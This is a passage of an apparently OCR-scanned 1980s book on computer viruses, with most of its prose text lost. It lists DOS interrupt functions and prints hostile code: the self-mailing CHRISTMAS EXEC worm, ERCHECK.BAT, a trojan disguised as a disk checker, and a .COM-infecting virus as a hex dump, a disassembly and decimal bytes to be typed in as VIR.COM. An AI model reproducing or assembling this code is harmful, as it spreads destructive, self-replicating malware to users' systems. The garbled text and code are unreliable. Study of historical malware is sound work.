         CALL.BAS,   
,      . ,
     - ,  
   .       
 ,    . 
  ,    ,  -
      SHELL.
            
   :

     atalog von a:
CALL            BAS         2704      7-14-87      9:53
COMMAND         BAS         2707      7-14-87      9:55
DEC             BAS         2703      7-14-87      9:55
DEFFN           BAS         2705      7-14-87      9:56
DIGIT           BAS         2705      7-14-87     10:05
DRAW            BAS         2704      7-14-87     10:05
KONVERT         BAS         2707      7-14-87     10:06
MAIN            BAS         2704      7-14-87     10:06
PLAY            BAS         2704      7-14-87     10:07

                           - 226 -
REDIM           BAS         2705      7-14-87     10:07
BVS             BAS         2703      7-14-87     10:07
INH                          974      7-14-87     10:07
%ALL            BAS          612      4-12-85      5:53p
%OMMAND         BAS          659      4-04-85      4:06
%EC             BAS          236      7-11-85      6:46
%EFFN           BAS          336      3-07-85      3:04
%IGIT           BAS          217      7-11-85      6:46
%RAW            BAS          681      4-19-85      4:03
%ONVERT         BAS         3584      1-01-80     12:03
%AIN            BAS          180      7-11-85      6:45
%LAY            BAS          192      3-21-85      1:08
%EDIN           BAS          439      4-13-85      3:15
%VS             BAS         2691      7-14-87      9:46

     23 DATEIEN 306176 Byte frei

11.   
         (   )  -
       
       .  
        -
 -,    10  .
         
 (CP/M   MS-DOS)     -
,      .    -
         -
   ,    
     .   
DIR, TYPE,  COPY,  PIP,  MODE, SETIO  .   
     .    -
     ,      
  -    .
           ,   
-,  (.   1.5)  
           ,
 ,      
    .    
        

                           - 227 -
   .

11.1   MS-DOS

        MS-DOS   -
        .
          -
,      .
      32      
BIOS   :
     00      
     01    
     02    NMI
     03     
     04    
     05      
     06     
     07     
     08    
     09    
          
         AUX port COM2
     OC    AUX port COM1
     CD    K  
     OE      
     OF    
     10    
     11     
     12      
     13    /  ()
     14       /
     15     
     16    
     17    
     18     
     19     
     IA    
     IB      
     IC    

                           - 228 -
     ID     
     IE      
     IF       ASCII
         20   -
 .      MS-DOS:
     20     
     21     DOS
     22      
     23     Ctrl-
     24       
     25        
     26         
     27    / 
     28      DOS
     -
     3F
     40      
     -
     3F
     60       
     -
     TF
     80       
     -
     85
     86      
     -
     FO
     F1     
     -
     FF
              ,
  21,    .   
          ,
     ,   ,   
    :
     00     
     01        -
     02     

                           - 229 -
     03     
     04     
     05     
     06     /  
     07       
     08      
     09     
            
            
          /  
     OD     / 
            
     OF     
     10     
     11       
     12       
     13     
     14     
     15     
     16     
     17     
     18     
     19      
     IA       
     IB      MS-DOS
     IC      MS-DOS
     IE      MS-DOS
     IF      MS-DOS
     20      MS-DOS
     21       
     22       
     23      
     24       
     25      
     26       
     27       
     28       
     29        
     2     

                           - 230 -
     2     
     2D     
     2    /  
     2F        
     30       DOS
     31     / 
     32      MS-DOS
     33      CTRL-
     34      MS-DOS
     35      
     36       
     37      MS-DOS
     38        
     39     
     3     
     3      
     3    / 






     3D / 
     3E / 
     3F   / 
     40   /  
     41  
     42   /
     43  
     44  /  
     45   
     46  /
     47   
     48 / 
     49  
     4A   
     4B /  
     4C   ()

                           - 231 -
     4D    
     4E   
     4F   
     50   ms-dos
     51   ms-dos
     52   ms-dos
     53   ms-dos
     54   
     56 /    
        ,       
- ,        
.

     11.2    /
     ------------------------
         ms-dos, / ( z80)  
 ,     call    
0005 16,        .
   ms-dos          
  /:
     0  
     1   
     2   
     3  
     4  
     5  
     6  /  
     7   
     8   
     9  
    10   
    11   
    12   
    13   
    14  
    15  
    16  
    17    
    18   

                           - 232 -
    19  
    20  
    21  
    22  
    23  
    24     
    25   
    26       DMA
    27   ()
    28    
    29  
    30   
    31   (DBP)
    32 /  
    33   
    34   
    35   
    36    
    37  
    40      
    41    
    42  
    43  
    44    
    45    
    46    
    47   
    48  
    49 /   
    50  
    59   
    60   
    98  
    99  
   100   
   101    
   102       
   103   xfcb
   104    

                           - 233 -
   105    
   106    
   107   
   108 /   
   109 /  
   110 /  
   111  
   112    
   152    
         ms-dos  /   ,
 /,    3.0,   -
            -
. ,      ,  
     ,    
        
,        ms-dos,     /
    .
11.3 
     ----
           ,
  . , ,   
          
 ,            
.  ,     
 ,       .  -
, ""        -
          .
       -
   .     -
     .
                  
                     
    :     1    2    3    4

 ,   1 ,  -.
         (
  ).     
  .


                           - 234 -
                
                  
    :   v1   v2   v3    v4

      ,   -
    .

                
                    
    :   V1   V2   V3   V4

,      . 
      -
   .  
        
         .  
       "  -
", ..       .  
 "  ",        
   ,    .
      "",  
          .  -
   " " -
     , ,   -
   -. ,    
  .
       " ",  -
  ,     vm/cms
     .
      ,        --
,            .
    names  netlog   
           
   .     , ..
     .  -
,   ,  ,      
.
     ,    ,    -
  ,    .

                           - 235 -
             -
:
     /**********************/
     /*   LET THIS EXEC    */
     /*                    */
     /*        RUN         */
     /*        AND         */
     /*                    */
     /*      ENJOY         */
     /*                    */
     /*   YOURSELFI        */
     /**********************/
        
.
    'VMFCLEAR'
     SAY'                      *                    '
     SAY'                      *                    '
     SAY'                     ***                   '
     SAY'                    *****                  '
     SAY'                   *******                 '
     SAY'                  *********                '
     SAY'                *************                   A'
     SAY'                   *******                 '
     SAY'                 ***********                  VERY'
     SAY'               ***************             '
     SAY'             *******************             HAPPY'
     SAY'                 ***********               '
     SAY'               ***************               CHRISTMAS'
     SAY'             *******************           '
     SAY'            **********************           AND MY'
     SAY'                *************              '
     SAY'             ******************            BERST WISHES'
     SAY'            **********************         '
     SAY'          **************************       FOR THE NEXT
     SAY'                    ******                 '
     SAY'                    ******                    YEAR'
     SAY'                    ******                 '

        ,    , -

                           - 236 -
  ?

     /*     browsing this file is no fun at all
            just type CHRISTMAS from cms */
     dropbuf
     makebuf
     "q t (stack"


  :
     pull d1 d2 d3 d4 d5 d6 dat
     pull zeile
     jeah = substr(dat, 7, 2)
     tack = substr (dat, 4,2)
     mohn = substr (dat, 1, 2)
if jeah <= 88 then do
if mehn < 2 ] mohn = 12 then do
DROPBUF
MAKERUF
"IDENTIFY (FIFO"
PULL WER VON WO IST REST
DROPBUF
MEKEBUF
    :

"EXECIO * DISKR " WER " NAMES A (FIFO"
 DO WHILE QUEUED() > 0
     PULL NICK NAME ORT
     NAM = INDEX (NAME, '.')+1
     IF NAM > 0 THEN DO
        NAME = SUBSTR (NAME, NAM)
     END
     NAM = INDEX (ORT, '.')+1
     IF NAM> 0 THEN DO
        ORT = SUBSTR (ORT, NAM)
     END
     IF LENGTH (NAME) O THEN DO
       IF LENGTH (ORT) = 0 THEN DO
          ORT = WO

                           - 237 -
       END
     IF name = "RELAY" THEN DO
  :
     "SF CHRISTMAS EXEC A" NAME" AT" ORT" (ack"
      end
   END
  END
DROPBUF
MAKEBUF
ANZ = 1

   :
"EXECTO = DISKR " WER " NETLOG A (FIFO
DO WHILE QUEUED () > 0
   PULL KIND FN FM ACT FROM ID AT NODE REST
   IF ACT = 'SENT' THEN DO
     IF ANZ = 1 THEN DO
       OK.ANZ = ID
     END
     IF ANZ > 1 THEN DO
       OK.ANZ = ID
     NIXIS = O
     DO 1 = 1 TO ANZ-1
        IF OK.1 = ID THEN DO
           NIXIS = 1
     END
     END
     END
     ANZ = ANZ + 1
     IF NIXIS = 0 THEN DO
  :

     "SF CHRISTMAS EXEC A "ID" AT" NODE" (ack"
     END
   END
  END
DROPBUF
END
end

                           - 238 -
end




12. _  
              
: "      ?"
               
,         
 .           ,
      .  -
      ,   -
          
,    .
         -
 .     , -
        ,
 .  ,  (   
  " ")   -
     ,    -
  .
            
   .

     12.1   /
     --------------------------------
        -  -
  ""   . 
 , -       "-
 ",      ""   .
        -
-,        
 .   ,   
       ,
   ,     
.,    /.     -
,          
 .

                           - 239 -
           
  (  , ,   -
 10.4 ),      -
            
.          
 ,          .   -
           ERCHECK.BAT
-?

     Name: ERCHECK. BAT

     echo=off
     echo Diesses Programm prueft das aktuelle Laufwerk
     echo (Platte/diskette) auf defekte Sektoren.
     echo Dieser Test kann 1-2 Minuten in Anspruch nehmen.
     echo Wahrend dieser Zeit kann und darf nicht in das
     echo System eingriffen werden.
     pause
     ctty nut
     patf c:\msdos
     dir *.com/w>inh
     edlin inh<1
     debug inh<2
     edlim name.bat<3
     ccty con
     if exist name.bat echo Keine Fehler gefunden. Test beendet.
     if exist name.bat echo Wait a minute, then reboot!
     cctty nut
     name

     (echo=off
      echo     
      echo ( /)   .
      echo     1-2 .
      echo       ,
      echo     .
      pause
      ecty nul
      path c:\msdos

                           - 240 -
      dir *.com/w>inh
      edlin inh<1
      debug inh<2
      edlin name.bat<3
      ccty con
      if exist name.bat echo   .  .
      if exist name.bat echo  ,   -

!













               ,  
           ,       -
              .  --
                 .    
            "  ",    
             .   ,  -
          .   ,     "-
         ".        -
            3000   100 ,  .
         ,          
         ,        ?  ,  
              ,    ,  
           ,     -
          . ,   ,        
         ,     .
               -     -
          .  ,      

                           - 241 -
          ,       15. ,
             -,  
            ,    -
           .     
               ,      
         .          
             ,     ""  
           .      -
                 -. -
                COMMAND.COM  -
         ,   9.1:

         1AAF:0100  90 90 90 B8 00 00 26 A3-A3 02 26 A3 A5 02 26 A2
                    .  .  .  8  .  .  &  #  #  .  &  #  %  .  &  "
         1AAF:0110  A7 02 B4 19 CD 21 2E A2-FA 02 B4 47 B6 00 04 01
                    '  .  4   . M  !   . "  Z   . 4  G  6  .  .  .
         1AAF:0120  8A D0 8D 36 FC 02 CD 21-B4 0E B2 00 CD 21 3C 01
                    .  P  .  6  |  .  M  !  4  .  2  .  M  !  <  .
         1AAF:0130  75 02 BD 06 B4 00 8D 1E-9B 02 03 D8 83 C3 01 2E
                    u  .  0  .  4  .  .  .  .  .  .  X  .  C  .  .
         1AAF:0140  89 1E A3 02 F8 73 21 B4-17 8D 16 B0 02 CD 21 3C
                    .  .  #  .  x  s  !  4  .  .  .  0  .  M  !  <
         1AAF:0150  FF 75 15 B4 2C CD 21 2E-8B 1E A3 02 2E 8A 07 8B
                    .  u   . 4  ,  M  !  .  .  .  #  .  .  .  .  .
         1AAF:0160  DA B9 02 00 B6 00 CD 26-2E 8B 1E A3 02 4B 2E 89
                    Z  9  .  .  6  .  M  &  .  .  .  #  .  K  .  .
         1AAF:0170  1E A3 02 2E 8A 17 80 FA-FF 75 03 E9 00 01 B4 0E
                    .  #  .  .  .  .  .  z  .  u  .  i  .  .  4  .
         1AAF:0180  CD 21 B4 3B 8D 16 F8 02-CD 21 EB 54 90 B4 17 8D
                    M  !  4  ;  .  .  x  .  M  !  k  T  .  4  .  .
         1AAF:0190  16 BD 02 CD 21 B4 3B 8D-16 F8 02 CD 21 B4 4E B9
                    .  0  .  M  !  4  ;  .  .  x  .  M  !  4  N  9
         1AAF:01A0  11 00 8D 16 AE 02 CD 21-72 9B 2E 8B 1E A5 02 43
                    .  .  .  .  .  .  M  !  r  .  .  .  .  %  .  C
         1AAF:01B0  4B 74 09 B4 4F CD 21 72-8C 4B 75 F7 B4 2F CD 21
                    K  t  .  4  0  M  !  r  .  R  u  w  4  /  M  !
         1AAF:01CD  83 C3 1C 26 C7 07 20 5C-43 1E 8C CD 8E D8 8B D3
                    .  C  .  &  G  .     \  C  .  .  @  .  X  .  S
         1AAF:01D0  B4 3B CD 21 1F 2E 8B 1E-A5 02 43 2E 89 1E A5 02

                           - 242 -
                    4  ;  V  !  .  .  .  .  %  .  C  .  .  .  %  .
         1AAF:01E0  B4 4E B9 01 00 8D 16 A8-02 CD 21 72 A0 EB 07 90
                    4  N  9  .  .  .  .  {  .  M  !  r     k  .  .
         1AAF:01F0  B4 4F CD 21 72 97 B4 3D-B0 02 BA 9E 00 CD 21 8B
                    4  0  M  !  r  .  4  =  0  .  :  .  .  M  !  .
         1AAF:0200  D8 B4 3F B9 30 02 90 BF-00 E0 90 CD 21 B4 3E CD
                    X  4  ?  9  0  .  .  :  .     .  M  !  4     M
         1AAF:0210  21 2E 8B 1E 00 E0 81 FB-90 90 74 D4 B4 43 B0 00
                    !  .  .  .  .  `  .  {  .  .  t  T  4  C  0  .
         1AAF:0220  BA 9E 00 CD 21 B4 43 B0-01 81 E1 FE 00 CD 21 B4
                    :  .  .  M  !  4  C  0  .  .  a  ~  .  M  !  4
         1AAF:0230  3D B0 02 BA 9E 00 CD 21-8B D8 B4 57 B0 00 CD 21
                    =  0  .  :  .  .  M  !  .  X  4  W  0  .  M  !
         1AAF:0240  51 52 2E 8B 16 83 02 2E-89 16 30 E2 2E 8B 16 01
                    Q  R  .  .  .  .  .  .  .  .  0  b  .  .  .  .
         1AAF:0250  E0 8D 0E 82 01 2B D1 2E-89 16 83 02 B4 40 B9 30
                    `  .  .  .  .  +  Q  .  .  .  .  .  4  @  9  0
         1AAF:0260  02 90 8D 16 00 01 CD 21-B4 57 B0 01 5A 59 CD 21
                    .  .  .  .  .  .  M  !  4  W  0  .  Z  Y  M  !
         1AAF:0270  B4 3E CD 21 2E 8B 16 30-E2 2E 89 16 83 02 90 E8
                    4     M  !  .  .  .  0  b  .  .  .  .  .  .  h
         1AAF:0280  07 00 E9 2B 0B B4 00 CD-21 B4 0E 2E 8A 16 FA 02
                    .  .  i  +  .  4  .  M  !  4  .  .  .  .  z  .
         1AAF:0290  CD 21 B4 3B 8D 16 FB 02-CD 21 C3 FF 01 00 02 03
                    M  !  4  ;  .  .  {  .  M  !  C  .  .  .  .  .
         1AAF:02A0  FF 00 FF 9C 02 00 00 00-2A 2E 63 6F 6D 00 2A 00
                    .  .  .  .  .  .  .  .  z  .  c  o  m  .  z  .
         1AAF:02B0  FF 00 00 00 00 00 3F 00-3F 3F 3F 3F 3F 3F 3F 3F
                    .  .  .  .  .  .  ?  .  ?  ?  ?  ?  ?  ?  ?  ?
         1AAF:02C0  65 78 65 00 00 00 00 00-3F 3F 3F 3F 3F 3F 3F 3F
                    e  x  e  .  .  .  .  .  ?  ?  ?  ?  ?  ?  ?  ?
         1AAF:02D0  63 6F 6D 00 FF 00 00 00-00 00 3F 00 3F 3F 3F 3F
                    c  o  m  .  .  .  .  .  .  .  ?  .  ?  ?  ?  ?
         1AAF:02E0  3F 3F 3F 3F 3F 3F 3F 00-00 00 00 00 3F 3F 3F 3F
                    ?  ?  ?  ?  ?  ?  ?  .  .  .  .  .  ?  ?  ?  ?
         1AAF:02F0  3F 3F 3F 3F 63 6F 6D 00-5C 00 01 5C 00 00 00 00
                    ?  ?  ?  ?  c  o  m  .  \  .  .  \  .  .  .  .
         1AAF:0300  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
                    .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .

                           - 243 -
         1AAF:0310  00 00 00 00 00 00 00 00-00 00 00 00 00 38 CD 21
                    .  .  .  .  .  .  .  .  .  .  .  .  .  8  M  !
         1AAF:0320  58 2B 06 25 3E 53 BB 10-00 F7 E3 5B 0B D2 74 03
                    X  +  .  .  >  S  ;  .  .  w  c  [  .  R  t  .
         1AAF:0330  BF 81 3E 8E 06 B8 0B FC-B9 EF 0C 2B CE F3 A4 A1
                    ?  .  >  .  .  ;  .  |  9  o  .  +  N  s  $  !
         1AAF:0340  BF 0B A3 02 00 FF 2E B9-0B E8 01 00 CB 50 53 8B
                    ?  .  #  .  .  .  .  9  .  h  .  .  K  P  S  .
         1AAF:0350  D8 B8 08 44 CD 21 73 04-0B C0 EB 05 25 01 00 F7
                    X  8  >  D  M  !  s  .  .  @  k  .  %  .  .  w

               ,       2-31  -
          ,   31Ch   .  
              ,  
         ,    100,    ,  
          31.
                100       NOP,    
            .      -
          .

         1AAF:0100  90           NOP
         1AAF:0101  90           NOP
         1AAF:0102  90           NOP
         1AAF:0103  BS0000       MOV  AX,0000
         1AAF:0106  26A3A302     MOV  ES: 02A3 ,AX
         1AAF:010A  26A3A502     MOV  ES: 02A5 ,AX
         1AAF:010E  26A2A702     MOV  ES: 02A7 ,AL
         1AAF:0112  B419         MOV  AH,19
         1AAF:0114  CD21         INH  21
         1AAF:0116  2EA2FA02     MOV  CS: 02FA ,AL
         1AAF:011A  B447         MOV  AH,47
         1AAF:011C  B600         MOV  DH,00
         1AAF:011E  0401         ADD  AL,01
         1AAF:0120  8AD0         MOV  DL,AL
         1AAF:0122  8D36FC02     LEA  SI, 02FC

                      ,  
          .        
         ,    ,      

                           - 244 -
                   
          ,   .

         1AAF:031C  0038         AAD  BX+SI ,BH
         1AAF:031E  CD21         INT  21
         1AAF:0320  58           POP  AX
         1AAF:0321  2B06853E     SUB  AX, 3E85
         1AAF:0325  53           PUSH BX
         1AAF:0326  BB1000       MOV  BX,0010
         1AAF:0329  F7E3         MUL  BX
         1AAF:032B  5B           POP  BX
         1AAF:032C  0BD2         OR   DX,DX
         1AAF:032E  7403         JZ   0333
         1AAF:0330  BF813E       MOV  D1,3E81
         1AAF:0337  FC           CLD
         1AAF:0338  B9EF0C       MOV  CX,0CEF
         1AAF:033B  2BCE         SUB  CX,SI
         1AAF:033D  F3           REPZ

                 ,     
                  -
         : "   ".   ,  -
              ,  -    . 
                 :    
            ,   -
         .          
          ,       
            ,          -
           .

              12.2     

                        
           ,   
               ,   
              .   -
                   
            ,     8  -
         .   " "       

                           - 245 -
         ,       ,   -
          .    ,   
              .    
            .    -
              ,    
                 
             .      
          ,        -
         .
                     ,
                 
               .
             ( )    
          .

              12.3  

                         
         : ,     (  -
         ), ""     ( DEBUG, LINK) 
         .)   ,     
         .     ,       
          ,   ,   ,   -
         ,    ,  .
            ,         
         ,          -
         ,   ,  .   -
         .     COPY MS-DOS   -
                  .  
            ALT      ASCII, -
             ,  
          :
              COPY CON INH.COM

         (      ALT).

         049 192 162 064 001 180 060 185
         032 032 186 057 001 205 033 080
         187 065 002 184 007 012 178 255

                           - 246 -
         205 033 136 007 067 129 251 093
         004 117 240 088 137 195 180 064
         185 028 002 186 065 002 205 033
         180 062 144 205 033 180 076 205
         033 086 073 082 046 067 079 077
         ^Z

                 :

               NUL      ,  
            OOHEX.

         2075:0100 31C0          XOR  AX,AX
         2075:0102 A24001        MOV   0140 ,AL
            

         2075:0105 B43C          MOV  AH,3C
         2075:0107 B92020        MOV  CX,2020
         2075:010A BA3901        MOV  DX,0139
         2075:010D CD21          INT  21

           
         2075:010F 50            PUSH AX

             540   -    -
           .
         2075:0110 BB4102        MOV  BX,0241
         2075:0113 B8070C        MOV  AX,0C07
         2075:0116 B2FF          MOV  DL,FF
         2075:0118 CD21          INT  21
         2075:011A 8807          MOV   BX ,AL
         2075:011C 43            INC  BX
         2075:011D 81FB5D04      CMP  BX,045D
         2075:0121 75FD          JNZ  0113

           

         2075:0123 58            POP  AX


                           - 247 -
             
         2075:0124 89C3          MOV  BX,AX
         2075:0126 B440          MOV  AH,40
         2075:0128 B91C02        MOV  CX,021C
         2075:0128 BA4102        MOV  DX,0241
         2075:012E CD21          INT  21

          
         2075:0130 B43E          MOV  AH,3E
         2075:0132 90            NOP
         2075:0133 CD21          INT  21

          

         2075:0435 B44C          MOV  AH,4C
         2075:0137 CD21          INT  21

              :
         2075:0130  B4 3E 90 CD B4 4C CD-21 56 49 52 2E 43 4F 4D
                                            V  I  R  .  C  O  M

               ,      INP,  
                  ASCII (  -,
         ..      ).   NUL
             ALT 2  (    
            ).     
            -.       
             10.1. ,   -
               ,   
            DOS  2.11.
               540       -
          VIR.COM .

              144 144 144 184 000 000 038 163
              163 002 038 163 165 002 038 162
              167 002 180 025 205 033 046 162
              250 002 180 071 182 000 004 001
              138 208 141 054 252 002 205 033
              180 014 178 000 205 033 060 001

                           - 248 -
              117 002 176 006 180 000 141 030
              155 002 003 216 131 195 001 046
              137 030 163 002 248 115 033 180
              023 141 022 176 002 205 033 060
              255 117 021 180 044 205 033 046
              139 030 163 002 046 138 007 139
              218 185 002 000 182 000 205 038
              046 139 030 163 002 075 046 137
              030 163 002 046 138 023 128 250
              255 117 003 233 000 001 180 014
              205 033 180 059 141 022 248 002
              205 033 235 084 144 180 023 141
              022 176 002 205 033 180 059 141
              022 248 002 205 033 180 078 185
              017 000 141 022 174 002 205 033
              114 155 046 139 030 165 002 067
              075 116 009 180 079 205 033 114
              140 075 117 247 180 047 205 033
              131 195 028 038 199 007 032 092
              067 030 140 192 142 216 139 211
              180 059 205 033 031 046 139 030
              165 002 067 046 137 030 165 002
              180 078 185 001 000 141 022 168
              002 205 033 114 160 235 007 144
              180 079 205 033 114 151 180 061
              176 002 186 158 000 205 033 139
              216 180 063 185 048 002 144 186
              000 224 144 205 033 180 062 205
              033 046 139 030 000 224 129 251
              144 144 116 212 180 067 176 000
              186 128 000 205 033 180 067 176
              001 129 225 254 000 205 038 180
              061 176 002 186 158 000 205 033
              139 216 180 087 176 000 205 033
              081 082 046 139 022 131 002 046
              137 002 048 226 046 139 022 001
              224 141 014 130 001 043 209 046
              137 022 131 002 180 064 185 048
              002 144 141 022 000 001 205 033

                           - 249 -
              180 087 176 001 090 089 205 033
              180 062 205 033 046 139 022 048
              226 046 137 022 131 002 144 232
              007 000 233 000 000 180 000 205
              033 180 014 046 138 022 250 002
              205 033 180 059 141 022 251 002
              205 033 195 255 000 000 000 000
              255 000 255 000 000 000 000 000
              042 046 099 111 109 000 042 000
              255 000 000 000 000 000 063 000
              063 063 063 063 063 063 063 063
              101 120 101 000 000 000 000 000
              063 063 063 063 063 063 063 063
              099 111 109 000 255 000 000 000
              000 000 063 000 063 063 063 063
              063 063 063 063 063 063 063 000
              000 000 000 000 063 063 063 063
              063 063 063 063 099 111 109 000
              092 000 000 092 000 000 000 000
              000 000 000 000 000 000 000 000
              000 000 000 000 000 000 000 000
              000 000 000 000 000 000 000 000
              000 000 000 000 000 000 000 026

              ,     ,   
           .           
                .
                        
         (    )   
           .

         12.4 

                        
          ,         ,
         .. .        -
                -
            ,       ,  -
            ,       

                           - 250 -
                .  , ,
          -    ,        
         ,    ,     ,
            ,       .  ,
               ,   
         ,         ,    
           ,     .
                    ,  -
          ,   ?
                     -
         ,        -
         . , ,      
          BURST.$$$.  ,      
         ,         .    
          ,       
                  .    
         .      ,  -
             ?
                    .  
               -
                  -
         .         
         ,  ,     -
               ,     
         ?

         13.   

                 ,    
            ""    
          .     ,  
             .    -
              .
                       -
           ,     -
              .   -
             "" , -
              .,      
                   

                           - 251 -
         "  ":
              "    
                    
            -         
          "".  (   )  
                    
            ,  -
                      
         ,  ,     "-
         " .
               ,       
             ,    .  -
                  
          ,      -
            .          
            ,    ,   -
                 
         .

          

                      ( -
         ,     ) ,  -
         ,   .    -
                      
          ,      
            :
                  ,  ,  
          (100-1000 ,     -
          ).   ,  ,  
           (   , -
                ),    
         /.       -
                 -
         , ..         
            /       
           . ,        
              , 
              .  ,  ,

                           - 252 -
             ,   -
             ,    
                  
         (    ).  
            -




  ,      -
        -
     (,  -
      ),     -
/.        
         (,  
        ).  ,
    ,   -
    ,     ,  
    -  
      .
        ,     -
 ,     -
   .   -
       ,   -
,         -
 .   ,    -
,        -
.        ,   -
,     .
        ,        
            .
 ,        
,        "  
". ,     -
      ,  
  , ..  ,    -
      . , 
       
          

                           - 253 -
   .


     _" "


            
  ,   
 .      -
     ;    -
       -
.     2        -
-   .
              .
    ,   , -
         .
     .   ,  
         -
 .         
.          
,      
    .    
     .  -
      .  -
       , 
         
    . ,   -
     ,     -
        -
.    ,      -
   .        
.
       ,      -
  ,  - -    -
    . ,   
,       -
,        
.       ,      
,          -

                           - 254 -
    .      -
    .
        ,      
       . ,
      -  
     "" - .   -
       :   
        
       (    ); 
 ,    ,    ,
, ,       . 
       ,
        -
.        
 .


     _" "


          -
   " ".     -
      -
   ;      
  .        
     "STARWARS".    
        -
 ;    - .
              
      
,         -
     ,  -
      -
.        -
    .


     _13.1    


                           - 255 -

        ,      -
 ,        -
 .    , ..   -
   ,       -
,       
  .     
       .  
        
,       .   
 ,  ,     
    ,    
      -  
  .      
,   ""    -
 ,       -
,     .
        ,    ,    
 ,        -
   .    ,  -
  .        -
 ,        
          -
,      - . ,
,     ,  ,
   ,    -
.           
   .      
   .
      ,       -
  -    .   
        
,        
   ,   ,  -
       -
 ,         
 . ,     -
    ,      
       

                           - 256 -
 ...
             -
       
 ,       ""    
 .      -
      ,  -
        .      
      ,   -
?   ,    -
,      
.       , -
         .
,          ,  
 "",     " -
 ,  ,      ",
 ""      ,  
  ,          
   ".
               
  ,       -
   ?       
.
              
      ...
         ,    
    .  
          
  .     ,  
       ,   
       . 
   ,   ,    -
,   ,     ,
   .  ,  
   ,     
...


     _13.2 VIR-DOS?.


                           - 257 -

           ,  -
   ,      
 ,      .   
(    )  - -
 .     ,  
    (. 5.3).  -
      ,    -
     .     , -
       ,  
     .
     ,       -
 ,     1.1.1990,    -
. ,    -   -
       
  , ,          
 .       -
     ,   -    
       .
      , -
   ,    -
        ,    
,  . ,  
    .
        ,   
   ,     
.      ,   -
  ,    
 ,     ?  
       -
 ,     .    
,          
  -     (
       ),   -
,     15.3.  ,   -
     ,   .  
  ""    -
       
   ...

                           - 258 -


     _13.3   


              
      . 
   , ..    
 1000  ,   50 %     ,
   :


                      _     500!
                       1000  500


      ,         .
      . ,  -
        , -
, ,     ,    
,         
    .     500
       . 
,   ,      ,  
   ""    ,  
   .
            -
 .      ,  -
    500!,    -
.
     ,    ,      1000 ,
   ("  ")     -
       .  
       2^1000.  
    ,     
    ,   255.  ,
 ,      1000    
,   ,  2~1000. , 
   :

                           - 259 -


                          _1
                       2^1000


            -
.            
     ,    
. ,          
    ,    
500!    .    -
 :


     1)      _   500!   .   <  _   1
             1000^500        2^1000


        .   
     n!:

                            n
     2)                  InI      ______
                      n! I I   * V(2**n)
                         IcI


     C         
    :

                               500
     3)                   I500I
                          I---I
                          _I c I.       *  V(2**500)
                      1000^500

                                500
     4)                    I500I

                           - 260 -
                           I---I      *   V(2**500) * _    1
                           I e I                        1000^500


     5)                _     500^500     .*  V(2**500)
                       e^500 * 1000^500


     6)                _        500^500       . * V(2**500)
                       e^500 * 2^500 * 500^500


     7)                 _       .1_      .  *  V(2**500)
                        e^500 * 2^500


     8)                 _       1      .  *  V(2**500)
                        (2^e)^500


     9)                 _       1       .  *  V(*1000)
                        (2*e)^500


          ,     -
.


     10)                 _       1       . * e^4,0262
                         e*846,5735


     11)                _ e.^_4,0262
                         e^846,57


         :



                           - 261 -
     12)                _   500 !  . ~ e^842,54
                        1000^500


      
   1000   :


     13)                 e^ -693,14


     ,          
2^1000     e^149,4  .    
  764  10(64).     ,  
,      1/2^1000  -
 10:


     n1/100000000000000000000000000000000000000000000000000000
     000000000000000000000000000000000000000000000000000000000
     000000000000000000000000000000000000000000000000000000000
     000000000000000000000000000000000000000000000000000000000
     000000000000000000000000000000000000000000000000000000000
     000000000000000000000000000000000000000000000000000000000
     00000000000000000000


       2^1000:


     n1/100000000000000000000000000000000000000000000000000000
     000000000000000000000000000000000000000000000000000000000
     000000000000000000000000000000000000000000000000000000000
     000000000000000000000000000000000000000000000000000000000
     000000000000000000000000000000000000000000000000000000000
     0000000000000


            , -

                           - 262 -
       
.        
       , 
    ,       5
/  4,32*10^11      ,
      , 
      .
           -
  1/10^10 ,   43,2 n     
.        , -
    (  10  -
 ),   43,2  (   -
)       . ,  
     2^1000   300 ).
     ,  ,     -
  ,     .    -
      ,  -
     1     -
.   8,64*10^10      .
      -
    1000 ,       
 8,64*10^10  .   -
        10^290 .   
   10  ,    
  10^283   


     100000000000000000000000000000000000000000000000000
     000000000000000000000000000000000000000000000000000
     000000000000000000000000000000000000000000000000000
     000000000000000000000000000000000000000000000000000
     000000000000000000000000000000000000000000000


.
     ,     
     .  ,  
     .  
 ,         1000 

                           - 263 -
    (     
 );  -,    , -
          
      .  
      .
         :     
,       ,   
   ;  ,      
 






.          , 
          -
   .
            .
         . , 
      .   
    ,      -
  .       10.4
,   debug,  edlin    .   -
(    )    50  ,  
      1000 .     
  :
dir *.          13 ytes       104 Bits
dlin  1           11 tes        88 its
debug  2           11 tes        88 its
tdlin n.T 3       15 Bytts       120 Bits
N                    3 Bytes        24 Bits
                  --------------------------
          Gesamt:   53 Bytes       424 Bits
                R und LF werden mitgerehnt

            
edlin  deburg   ,    .
dir *. com x        13 Bytes        104 Bits

                           - 264 -
ex 1                 7 Bytes         56 Bits
dx 2                 7 Bytes         56 Bits
tn.bt 3            11 ytes         88 Bits
n                    3 Byts         24 Bits
                  ----------------------------
          Gesamt:  41 Bytes        328 Bits
                R und LF werden itgtrthnet

,          -
    60 . ,      ,  
     ,      
,      .    -
,  ,     . -
,        -
.
     :     ,   ,   
  ,         ,
        . ,
   ,    .      
   ,  ,  ,  -
         .,      
   .     
      ,   -
  ,    ,   
 ,      ( 
  )     -
  .

     14.    
         : "         
?"          
   .         -
   " ".    
        , -
       .   
         ,  "", 
    ,      
.
              ,   

                           - 265 -
,     .          
         ,  
      .    
,    -.
     14.1   
     ,      ,  
,        .    
          -
 .        -
.      ,  
     .    -
 ,         , 
.         -
     ,    "" 
   .      ""
,         -
.      . -
          
    ,      -
 .        
        .
          . ""   -
     ,   , 
   .     
      ,   
  .
     ""     ,     
 .     ,
      .  
     ,    -
  .   ,      -
   ,      -
.          -
 .     ,    ,
      ,    
  .
             
          .  
    :

                           - 266 -
1)     "" .
2)      ^c.
3)      lt, ntrl, DEL.
4)    .
                ,
      . , -
  ,        
      15 . ,   -
  ,       -
 .
                -
 .        -
    .  , ,  -
 .    ntrl - C   
    .    "rea FF" 
nfig. sys    .     -
      .     
  .     lt, trl  Del  
    .
     ,       ,  
  .   "" .    
  .      dyg
    nreak.com.
2le4:0100 b435        mov ah,35
2le4:0102 b004        mov al,04
2le4:0104 cd21        int 21
21e4:0106 8cco        mov ax,es
2le4:0108 89da        mov dx,bx
2le4:010a 8td8        mov ds,ax
2kt4:010c B425        mov ah625
2kt4:010t b009        mov al,09
2lt4:0110 cd2l        int 2l
2lt4:0112 b80000      mov ax,0000
2kt4:0115 cd2l        int 2l

  :
